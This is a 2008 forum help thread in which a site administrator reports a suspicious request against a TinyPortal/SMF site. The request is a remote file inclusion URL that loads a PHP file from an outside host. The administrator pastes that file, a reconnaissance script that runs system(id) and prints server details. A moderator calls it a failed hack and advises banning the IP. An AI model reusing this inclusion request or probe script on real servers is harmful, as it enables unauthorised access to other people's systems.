TP-Docs
HTML5 Icon HTML5 Icon HTML5 Icon
TP on Social Media

Recent

Welcome to TinyPortal. Please login or sign up.

Members
  • Total Members: 3,973
  • Latest: NonStop
Stats
  • Total Posts: 196,231
  • Total Topics: 21,353
  • Online today: 515
  • Online ever: 8,223 (February 19, 2025, 04:35:35 AM)
Users Online
  • Users: 0
  • Guests: 456
  • Total: 456

[HELP] strange error, attack?

Started by raid, November 10, 2008, 03:04:14 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

raid

there is a guest that is doing this error:
http://www.mysite.ext/index.php?action=tpmod;dl%20.../index.php?ac=http://www.phdcursos.com.br/http/idd.txt??

and I downloaded the TXT file and this is the content:
<?php
function ConvertBytes($number) {
$len = strlen($number);
if(
$len < 4) {
return
sprintf("%d b", $number); }
if(
$len >= 4 && $len <=6) {
return
sprintf("%0.2f Kb", $number/1024); }
if(
$len >= 7 && $len <=9) {
return
sprintf("%0.2f Mb", $number/1024/1024); }
return
sprintf("%0.2f Gb", $number/1024/1024/1024); }                          

echo
"Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!
$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!
$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo
"0sirys was here ..<br>";
echo
"uname -a: $un<br>";
echo
"os: $os<br>";
echo
"id: $id1<br>";
echo
"free: $free<br>";
echo
"used: $used<br>";
echo
"total: $all<br>";
exit;


what is it?
SMF 2.0 + TP RC2

G6Cad

A lame attempts of a hack, tyes, but it will not work.
Ban the ipnumber and be happy

This website is proudly hosted on Crocweb Cloud Website Hosting.